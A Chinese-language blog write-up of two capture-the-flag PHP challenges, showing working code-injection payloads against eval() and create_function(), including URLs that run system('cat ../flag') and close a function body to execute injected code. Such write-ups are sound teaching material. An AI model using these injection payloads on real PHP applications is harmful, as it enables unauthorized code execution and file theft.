这次是真真真真被自己蠢哭了!!

RCE1

打开网页就直接报错了

看到eval函数,第一反应是利用这个达到任意执行代码
于是测试

1
http://chall2.ctfs.me:8010/?name=phpinfo();

发现报错,但是是单引号错.说明语句注入了但是语法不正确,继续测试

1
http://chall2.ctfs.me:8010/?name=phpinfo();%23

加了注释符,成功执行了phpinfo()

那么构造

1
2
3
4
5
print_r(scandir('./'))
http://chall2.ctfs.me:8010/?name=print_r(scandir(%27../%27));%23
http://chall2.ctfs.me:8010/?name=print_r(glob(%22../\*%22));%23
http://chall2.ctfs.me:8010/?name=system(%27ls%20../%27);%23
#这些语句都可以列出目录

发现打印出上一级目录的内容了,其中包含了flag文件
于是继续

1
http://chall2.ctfs.me:8010/?name=system(%27cat%20../flag%27);%23

便可以拿到flag了
很好奇的是后端源码是怎么写的
当输入如下的时候

1
http://chall2.ctfs.me:8010/?name=phpinfo()

报错如下

这个神奇的感叹号是做些啥用的呢?????

RCE2

查看源码

1
2
3
4
5
6
if (isset($_GET['code'])) { 
$new_func = create_function('', $_GET['code']);
if ($_GET['code'] === "echo 'hello foobar';") {
$new_func();
}
}

关键代码

1
$new_func= create_function('', $_GET['code']);

creat_function函数其实是lambda表达式
本地测试

1
2
$new_func = create_function('', $_GET['code']);
echo $new_func;

得到输出

所以它其实是一个简单的函数
举个例子

1
2
$new_func = create_function('', "echo 'hello';");
$new_func();

等价于

1
2
3
 function new_func(){
echo 'Hello';
}

也就是说后面一个参数传给前面一个参数组成一个函数体.
回到题目上
题目要求我们code值等于

1
echo 'hello foobar'

当我们传入echo ‘hello foobar’的时候函数体是这样的

1
2
3
function new_func(){
echo 'hello foobar';
}

假设我们传入的是

1
echo ‘hello foobar’};phpinfo();/*

函数体按照原有的规则生成,但是由于花括号和注视符的出现使得发生了非预期的变化
整理后的函数

1
2
3
4
5
function new_func(){
echo 'hello foobar';
}
phpinfo();/*
}

发现括号闭合了,原有的括号甚至后面的代码都被注释掉了,导致phpinfo()得到执行.
于是剩下的就是打印目录,寻找flag.txt文件了.

creat_function()原理参考博客

https://blog.csdn.net/while0/article/details/72276440

总结

刚做web_for_pentester的命令注入和代码注入部分,所以碰上这两题还是能够解决的.
但是RCE2却卡了我一天时间…原因是之前原理搞糊涂了,误以为花括号是为了闭合if语句,现在仔细分析一下还算透彻.算是get到这个命令执行的基本方法了吧.